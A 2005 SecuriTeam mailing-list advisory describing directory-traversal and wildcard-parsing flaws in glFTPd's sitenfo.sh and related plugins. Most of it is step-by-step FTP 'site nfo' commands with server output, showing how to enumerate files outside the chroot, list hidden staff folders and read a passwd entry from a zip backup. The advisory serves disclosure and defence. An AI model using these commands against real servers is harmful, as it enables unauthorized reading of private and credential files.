[UNIX] Multiple Vulnerabilities in glFTPd's Plugins

From: SecuriTeam (support_at_securiteam.com)
Date: 02/21/05

  • Next message: SecuriTeam: "[UNIX] Multiple Vulnerabilities In BibORB" 
    To: list@securiteam.com
Date: 21 Feb 2005 10:48:28 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Multiple Vulnerabilities in glFTPd's Plugins
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.glftpd.com/> glFTPd is "a free FTP server for UNIX based
    systems. It is highly configurable and its possibilities are endless".

    The plugins sitenfo.sh, siteziplist.sh and sitezipchk.sh allow users to
    read files on the entire system including the content of a zip file.

    DETAILS

    This advisory will focus on the plugin sitenfo.sh, a script that allow
    users to read .nfo and .diz files from within zip archives ("SITE NFO" by
    default). Although the exploits are synonymous with siteziplist.sh and
    sitezipchk.sh.

    Due to improper input validation several flaws exist in the script that
    can allow unprivileged access to files within the glFTPd chroot and
    information disclosure of private files.

    Step 1: Directory transversal
    In order to prove the existence of file that resides outside of the FTP
    site root directory we can do the following:
    ftp> site nfo ../etc/grouap
    200- dn's NFO Lister v1.00
    200-
    200- That zipfile (../etc/grouap) does not exist!
    200 Error executing command.
    ftp> site nfo ../etc/group
    200- dn's NFO Lister v1.00
    200-
    200- nfo(s) from ../etc/group:
    200-
    200 Command Successful.

    As you can see we found that the file ../etc/group exists, the file is
    outside of the default FTP root path.

    Step 2: Directory transversal attack
    Due to improper parsing of *, a user can return the first two files in any
    directory ($1 $2), including files within 'private' or hidden directory's
    such as the 'staff' folder.

    ftp> site nfo ../../../../../etc/*
    200- dn's NFO Lister v1.00
    200-
    200- ../../../../../etc/group from ../../../../../etc/ftpd-dsa.pem:

    And to view inside private folders within the FTP root (that usually you
    are unable to see)

    ftp> site nfo staff/*
    200- dn's NFO Lister v1.00
    200-
    200- staff/Mark from staff/Peter:
    200- Command Successful.
    ftp> cd staff
    200- No such file or directory.

    As you can see the staff/Mark and staff/Peter exists, although we are
    unable to see the directory staff/ by default (since we have no access to
    it).

    This can be further exploited to build a full directory tree by using
    guided wild-cards within the globbed request, such as.
    site nfo ../../../../../etc/a*
    site nfo ../../../../../etc/b*
    site nfo ../../../../../etc/c*

    And so on and so forth to list all valid files and directories.

    Finally you can use the script to also view any file inside any zip file
    within the glFTP root directory, such as backups or zip files in private
    directories.

    First, we find a zip file.

    ftp> site nfo ../../*.zip
    200- dn's NFO Lister v1.00
    200-
    200- nfo(s) from ../../backup.zip:

    backup.zip exists outside the glFTPd site root and is returned in $1 to
    sitenfo.sh

    Now we will read all files within backup.zip that begin wtih 'p'
    ftp> site nfo ../../backup.zip p*
    200- dn's NFO Lister v1.00
    200-
    200- passwd from ../../backup.zip:
    200-
    glftpd:$c8aa2099$89be575337e36892c6d7f4181cad175d685162ad:0:0:0:/site:/bin/false

    This will of cause only work for zip compressed files, not gzip files.

    Combined, these flaws allow a user to browse the glFTP chrooted
    environment and then read any file inside any zip file. Considering zip
    files may contain sensitive information such as backups or private
    documents, this exploit could easily lead to further privilege escalation.

    sitezipchk.sh and siteziplist.sh both contain similar exploits, although
    Paul has noticed sitenfo.sh is more frequently used in glFTPd sites.

    ADDITIONAL INFORMATION

    The information has been provided by
    <mailto:headpimp@pimp-industries.com> Paul Craig.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] Multiple Vulnerabilities In BibORB"

    Relevant Pages